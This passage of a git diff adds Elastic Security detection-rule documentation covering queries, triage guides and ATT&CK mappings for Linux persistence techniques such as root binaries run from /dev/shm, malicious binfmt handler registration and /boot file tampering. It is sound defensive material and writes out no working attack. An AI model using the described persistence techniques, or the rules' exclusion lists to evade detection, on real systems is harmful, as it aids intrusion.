and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : behavior and (event.type : allowed or (event.type: denied and event.outcome: failure)) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-prevented-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-prevented-elastic-defend.asciidoc new file mode 100644 index 0000000000..a2569fa4f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-prevented-elastic-defend.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-behavior-prevented-elastic-defend]] +=== Behavior - Prevented - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for malicious behavior is received. Enabling this rule allows you to immediately begin investigating your Endpoint behavior alerts. This rule identifies Elastic Defend behavior preventions only, and does not include detection only alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/behavior +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Behavior - Prevented - Elastic Defend* + + +Malicious behavior protection is a foundational feature which can be used to protect against all manner of attacks on the endpoint. For example, it provides coverage against phishing such as malicious macros, many malware families based on their activities, privilege escalation attacks such as user account control bypasses (UAC), credential theft, and much more. It works by consuming an unfiltered feed of all events that are captured on the system (process, file, registry, network, dns, etc). These events are processed against a routinely updated set of rules written by Elastic threat experts. From there, malicious behaviors are identified and offending processes are terminated. The protection operates on the event stream asynchronously, but has been designed to be extremely efficient and typically requires just milliseconds (under standard load) to stop malicious activity. + + +*Possible investigation steps* + + +- Assess whether this activity is prevalent in your environment by looking for similar occurrences across hosts. +- Verify the detailed activity of the process that triggered the alert (process tree, child process, process arguments, network, files, libraries and registry events). +- Verify the activity of the `user.name` associated with the alert (local or remote actity, privileged or standard user). +- Particular attention should be paid to instances where the same process is triggering multiple alerts (more than 2 or 3) within a short period of time. +- Even the the process is signed by a valid certificate, verify the if it's running from the expected location or if it's loading any suspicious libraries or any sign of code injection. + + + +*False positive analysis* + + +- Same alert observed on a high number of hosts with similar details. +- High count of the same alert on a specific host over a long period of time. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : behavior and event.type : denied and event.outcome : success + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binary-executed-from-shared-memory-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binary-executed-from-shared-memory-directory.asciidoc new file mode 100644 index 0000000000..92a1e6c818 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binary-executed-from-shared-memory-directory.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-binary-executed-from-shared-memory-directory]] +=== Binary Executed from Shared Memory Directory + +Identifies the execution of a binary by root in Linux shared memory directories: (/dev/shm/, /run/shm/, /var/run/, /var/lock/). This activity is to be considered highly abnormal and should be investigated. Threat actors have placed executables used for persistence on high-uptime servers in these directories as system backdoors. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://linuxsecurity.com/features/fileless-malware-on-linux +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Binary Executed from Shared Memory Directory* + + +Shared memory directories in Linux, such as /dev/shm and /run/shm, are designed for efficient inter-process communication. However, adversaries exploit these directories to execute binaries stealthily, often as root, bypassing traditional security measures. The detection rule identifies such anomalies by monitoring for root-executed binaries in these directories, excluding known legitimate processes, thus flagging potential backdoor activities. + + +*Possible investigation steps* + + +- Review the process executable path to confirm it resides in a shared memory directory such as /dev/shm, /run/shm, /var/run, or /var/lock, and verify it is not part of the known exclusions like /var/run/docker or /var/run/utsns. +- Investigate the parent process of the suspicious executable to understand the context of its execution, focusing on the command line used, especially if it does not match the exclusion pattern /usr/bin/runc init. +- Check the process's creation time and correlate it with any other suspicious activities or alerts around the same timeframe to identify potential patterns or related incidents. +- Analyze the binary file in question for any known malicious signatures or unusual characteristics using tools like file integrity checkers or antivirus solutions. +- Review system logs and audit logs for any unauthorized access or privilege escalation attempts that might have led to the execution of the binary as root. +- Investigate the user account activity associated with user.id "0" to ensure there are no signs of compromise or misuse of root privileges. +- If possible, isolate the affected system to prevent further potential malicious activity while the investigation is ongoing. + + +*False positive analysis* + + +- Docker-related processes can trigger false positives when binaries are executed from shared memory directories. To mitigate this, exclude paths like /var/run/docker/* from the detection rule. +- Processes related to container orchestration tools such as Kubernetes might also cause false positives. Exclude paths like /var/run/utsns/* and /var/run/s6/* to prevent these. +- Cloudera services may execute binaries from shared memory directories as part of their normal operations. Exclude /var/run/cloudera-scm-agent/* to avoid false alerts. +- Argo workflows might execute binaries in these directories. Exclude /var/run/argo/argoexec to reduce false positives. +- Legitimate use of /usr/bin/runc init as a parent process can be excluded to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the threat actor. +- Terminate any suspicious processes running from the shared memory directories (/dev/shm, /run/shm, /var/run, /var/lock) to halt potential malicious activity. +- Conduct a thorough review of the system's process tree and logs to identify any additional malicious binaries or scripts that may have been executed or are scheduled to run. +- Remove any unauthorized binaries or scripts found in the shared memory directories and other critical system paths to eliminate persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through manual remediation. +- Implement enhanced monitoring and alerting for any future execution of binaries from shared memory directories, ensuring that legitimate processes are whitelisted appropriately. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event") and +user.id == "0" and process.executable like ("/dev/shm/*", "/run/shm/*", "/var/run/*", "/var/lock/*") and +not ( + process.executable : ( + "/var/run/docker/*", "/var/run/utsns/*", "/var/run/s6/*", "/var/run/cloudera-scm-agent/*", + "/var/run/argo/argoexec", "/dev/shm/*.*/sandfly" + ) or + process.parent.command_line == "/usr/bin/runc init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binfmt-configuration-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binfmt-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..711bfae468 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-binfmt-configuration-file-creation.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-binfmt-configuration-file-creation]] +=== Binfmt Configuration File Creation + +This rule detects the creation of a binfmt configuration file. Binfmt is a utility that is used to configure the behavior of the Linux kernel when executing binary files. By creating a malicious binfmt configuration file, threat actors can execute a backdoor script or command on the target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Platform: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Binfmt Configuration File Creation* + + +This rule detects creation of Linux binfmt configuration files or registrations that alter how the kernel handles executable formats, which may establish persistent command execution. An attacker can register a crafted binary signature and interpreter so that launching a matching executable automatically invokes a backdoor script under the initiating user’s privileges. + + +*Possible investigation steps* + + +- Inspect the new configuration or registration content for unusual magic bytes, masks, flags, extensions, and interpreter paths that reference scripts, writable directories, temporary locations, or network-mounted files. +- Review the creating process’s user, command line, parent chain, working directory, package provenance, and nearby shell or privilege-escalation activity to determine whether the change was authorized. +- Correlate the event with systemd-binfmt restarts, writes to the binfmt_misc register interface, and subsequent execution of the configured interpreter or matching binaries. +- Search across the environment for the same configuration content, interpreter path, file hash, or responsible account to identify additional affected hosts and determine campaign scope. +- If unauthorized, preserve the configuration and relevant telemetry, disable or unregister the handler, remove persistence artifacts, and investigate the originating account and process for further compromise. + + +*False positive analysis* + + +- An administrator or approved automation may create a binfmt configuration to support a legitimate binary format, which analysts can verify by reviewing the change record, responsible account, configuration contents, and interpreter path. +- An authorized package installation or system update may register or replace a binfmt handler, which analysts can confirm by correlating the event with package activity and validating the creating process and file against expected system changes. + + +*Response and remediation* + + +- Isolate the affected Linux host from untrusted networks while preserving approved management access, volatile evidence, and copies of the malicious binfmt configuration and interpreter. +- Unregister the malicious handler under `/proc/sys/fs/binfmt_misc`, remove its files from binfmt configuration directories, delete associated backdoor scripts or binaries, and restart `systemd-binfmt` only after validating remaining entries. +- Escalate immediately to incident response if the configured interpreter executed, root privileges were involved, credentials may have been exposed, or matching artifacts appear on additional hosts. +- Revoke attacker-controlled sessions, rotate credentials used on the host, and search for related scheduled tasks, services, startup files, modified SSH keys, and payloads created by the responsible process. +- Reimage the system from a known-good baseline when integrity cannot be established; otherwise restore trusted configuration files and packages, verify kernel and system binaries, and confirm only approved binfmt handlers remain. +- Restrict write access to binfmt configuration paths and registration interfaces, enforce least privilege for administrative automation, and monitor future handler creation, registration, and interpreter execution. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action != "deletion" and process.executable != null and +file.path like ( + "/etc/binfmt.d/*.conf", "/run/binfmt.d/*.conf", "/usr/local/lib/binfmt.d/*.conf", "/usr/lib/binfmt.d/*.conf", + "/proc/sys/fs/binfmt_misc/register", "/proc/sys/fs/binfmt_misc/*" +) and +not ( + file.path like ( + "/usr/lib/binfmt.d/python3.*.conf", "/usr/lib/binfmt.d/qemu-*-static.conf", + "/proc/sys/fs/binfmt_misc/status" + ) or + process.executable == "/usr/lib/systemd/systemd-binfmt" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-boot-file-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-boot-file-copy.asciidoc new file mode 100644 index 0000000000..8462d5377c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-boot-file-copy.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-boot-file-copy]] +=== Boot File Copy + +This rule detects the process of copying or moving files from or to the "/boot" directory on Linux systems. The "/boot" directory contains files that are essential for the system to boot, such as the kernel and initramfs images. Attackers may copy or move files to the "/boot" directory to modify the boot process, which can be leveraged to maintain access to the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Boot File Copy* + +The `/boot` directory in Linux systems is crucial for storing files necessary for booting, such as the kernel. Adversaries may exploit this by copying or moving files to alter the boot process, potentially gaining persistent access. The 'Boot File Copy' detection rule identifies suspicious file operations in this directory, excluding legitimate processes, to flag potential unauthorized modifications. + + +*Possible investigation steps* + + +- Review the process details to identify the specific file operation by examining the process name and arguments, particularly focusing on the use of 'cp' or 'mv' commands with paths involving '/boot/*'. +- Investigate the parent process executable and name to determine if the operation was initiated by a known legitimate process or script, ensuring it is not one of the excluded processes like 'update-initramfs' or 'grub-mkconfig'. +- Check the user account associated with the process to assess whether it is a privileged account and if the activity aligns with typical user behavior. +- Analyze recent system logs and audit records for any other suspicious activities or anomalies around the time of the alert to identify potential patterns or related events. +- Verify the integrity and authenticity of the files in the /boot directory to ensure no unauthorized modifications have been made, focusing on critical files like the kernel and initramfs images. +- If possible, correlate the alert with other data sources such as Elastic Endgame or Crowdstrike to gather additional context and confirm whether this is part of a broader attack pattern. + + +*False positive analysis* + + +- System updates and maintenance tasks often involve legitimate processes that interact with the /boot directory. Processes like update-initramfs, dracut, and grub-mkconfig are common during these operations. Users can exclude these processes by adding them to the exception list in the detection rule. +- Custom scripts or administrative tasks that require copying or moving files to the /boot directory may trigger false positives. Identify these scripts and add their parent process names or paths to the exclusion criteria. +- Package management operations, such as those involving dpkg or rpm, may also interact with the /boot directory. Exclude paths like /var/lib/dpkg/info/* and /var/tmp/rpm-tmp.* to prevent these from being flagged. +- Temporary system recovery or installation processes might use directories like /tmp/newroot. Exclude these paths to avoid unnecessary alerts during legitimate recovery operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving unauthorized 'cp' or 'mv' operations in the /boot directory. +- Conduct a thorough review of the /boot directory to identify and remove any unauthorized files or modifications. Restore any altered files from a known good backup if necessary. +- Check for any unauthorized changes to boot configuration files, such as GRUB or LILO, and restore them to their original state. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized access attempts or modifications. +- Review and update access controls and permissions for the /boot directory to ensure only authorized processes and users can make changes. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and +process.name in ("cp", "mv") and process.parent.executable != null and process.args like~ "/boot/*" and not ( + process.parent.name in ("update-initramfs", "dracut", "grub-mkconfig", "shim-install", "sudo", "activate-theme", "update-grub-gfxpayload", "grub-pc.postinst") or + process.parent.executable like~ ("/usr/lib/kernel/install.d/*", "/tmp/newroot/*", "/var/lib/dpkg/info/*") or + process.parent.args like~ ("/usr/bin/mkinitcpio", "/var/tmp/rpm-tmp.*", "/var/lib/dpkg/info/*") or + process.parent.executable in ( + "/var/lib/aws-replication-agent/migration_scripts/suse_to_aws.bash", "/usr/sbin/flash-kernel", "/usr/sbin/weak-modules", + "/etc/cron.hourly/check_mau", "/usr/bin/update-microcode-initrd", "/bin/run-parts", "/usr/sbin/mkinitramfs", "/usr/sbin/grub2-mkconfig", + "/usr/bin/supermin5", "/sbin/weak-modules", "/usr/sbin/nv-update-initrd", "/usr/libexec/platform-python", "/bin/kernel-install", + "/usr/bin/oracle-database-preinstall-19c-verify", "/usr/libexec/grubby/prune_debug" + ) or + process.command_line == "/bin/cp /usr/local/ASR/Vx/scripts/vCon//Configuration.info /boot/" or + ?process.working_directory in ("/var/lib/aws-replication-agent", "/opt/sentinelone/bin", "/tmp/MobilityAgentAutoUpgrade/package") or + ( + process.name == "cp" and + process.parent.args in ( + "/etc/kernel/postrm.d/zz-proxmox-boot", "/etc/kernel/postinst.d/zz-proxmox-boot", "/usr/lib/kernel/install.d/20-grub.install", + "/usr/bin/dracut", "/bin/dracut", "/usr/sbin/shim-install", "/sbin/dracut", "/opt/McAfee/ens/esp/scripts/modversion-check.sh", + "//opt/McAfee/ens/esp/scripts//modversion-check.sh", "/usr/sbin/update-grub-legacy-ec2", "/usr/bin/foreman-generate-bootloaders", + "/usr/share/grub2/themes/SLE/activate-theme", "/usr/sbin/dracut", "/usr/sbin/flash-kernel", "/usr/lib/kernel/install.d/20-grubby.install" + ) + ) or + (process.name == "mv" and process.args == "-f" and process.parent.args == "/usr/sbin/update-initramfs") or + ( + process.name == "mv" and + process.parent.args in ( + "/usr/sbin/flash-kernel", "/usr/bin/update-microcode-initrd", "/usr/sbin/update-grub-gfxpayload", + "/usr/sbin/weak-modules", "/usr/bin/dracut" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-filter-applied-using-tc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-filter-applied-using-tc.asciidoc new file mode 100644 index 0000000000..f49da93f69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bpf-filter-applied-using-tc.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-bpf-filter-applied-using-tc]] +=== BPF filter applied using TC + +Detects when the tc (transmission control) binary is utilized to set a BPF (Berkeley Packet Filter) on a network interface. Tc is used to configure Traffic Control in the Linux kernel. It can shape, schedule, police and drop traffic. A threat actor can utilize tc to set a bpf filter on an interface for the purpose of manipulating the incoming traffic. This technique is not at all common and should indicate abnormal, suspicious or malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* 